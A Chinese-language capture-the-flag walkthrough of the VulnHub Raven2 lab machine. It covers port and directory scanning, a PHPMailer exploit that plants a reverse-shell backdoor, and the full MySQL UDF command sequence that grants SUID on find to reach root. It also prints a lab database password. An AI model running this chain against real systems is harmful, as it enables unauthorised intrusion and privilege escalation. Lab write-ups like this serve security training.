靶机下载地址:https://www.vulnhub.com/entry/raven-2,269/
攻击机:kali(192.168.58.130)
靶机:Raven2(192.168.58.157)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
使用arp-scan确定目标靶机
使用nmap扫描查看目标靶机端口开放情况
开放端口:22、80、111、56784
浏览器访问目标靶机80端口
就是一个非常普通的页面,没有啥好利用的
网站目录结构扫描
dirb http://192.168.58.157/
只查看一级目录,然后挨个去访问试试
访问http://192.168.58.157/vendor/时,出现如下页面
然后挨个去查看,查看PATH文件时,成功获取到第一个flag
查看README.md文件,可以看到目标网站安装了PHPMailer
查看VERSION文件,可以看到PHPMailer版本为5.2.16
上面目录扫描发现下面还有一个wordpress的网站,访问试试
可以看到输入的IP变为一个域名了,肯定是域名重定向了
进入配置文件/etc/hots,进行配置
再次访问成功找到wordpress主网页
既然知道网站CMS为wordpress,那就使用wpscan扫描看看
wpscan --url http://192.168.58.157/wordpress/
就只知道了CMS的版本号,没有啥大用处
前面扫描发现网站安装了PHPMailer,在kali的漏洞库里搜索PHPMailer存在的漏洞
前面信息收集看到PHPMailer确实存在漏洞,然后这里使用40974.py
将攻击代码复制到本地
查看其内容,发现有几个位置是需要修改的
开头要加上
#!/usr/bin/python
# -*- coding: utf-8 -*-
防止乱码出现错误
然后在如下位置进行修改
保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php
这个错误是没有安装requests_toolbelt,使用pip install安装一下
这个提示是python3中已经安装了requests_toolbelt,所以使用python3去运行
python3 40974.py
然后使用kali监听8888端口
浏览器访问后门文件
可以看到kali这边成功反弹到一个shell
使用find命令查找flag
find / -name flag*
利用工具LinEnum(Linux枚举及权限提升检查工具)
下载地址:https://github.com/rebootuser/LinEnum
开启一个临时服务器
靶机使用wegt将LinEnum.sh下载到本地
给LinEnum.sh执行的权限
运行LinEnum.sh
可以看到mysql服务器是以root身份运行的
进入wordpress网站的根目录,查看wp-config.php的信息
可以看到里面放着mysql的账号和密码:root:R@v3nSecurity
登入mysql服务器,查看你mysql版本信息
网上搜索关键字
可以看到可以使用udf提权
kali漏洞库搜索udf
这里使用1518.c
将1518.c下载到本地
然后进行编译
gcc -g -c 1518.c
gcc -g -shared -o icepeak.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
开启一个临时服务器
靶机将icepak.so下载到本地
进入数据库,发现是具有读和写的权限的
use mysql;
#进入数据库
create table foo(line blob);
#创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so'));
#插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so';
#( Foo表成功插入二进制数据,
然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数)
create function do_system returns integer soname 'icepeak.so';
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行
root命令)
quit
退出mysql,使用/usr/bin/find提权
可以看到权限已经为root了,切换其根目录,发现最后一个flag,Raven2靶机所有flag查找完毕,至此,Raven2靶机渗透结束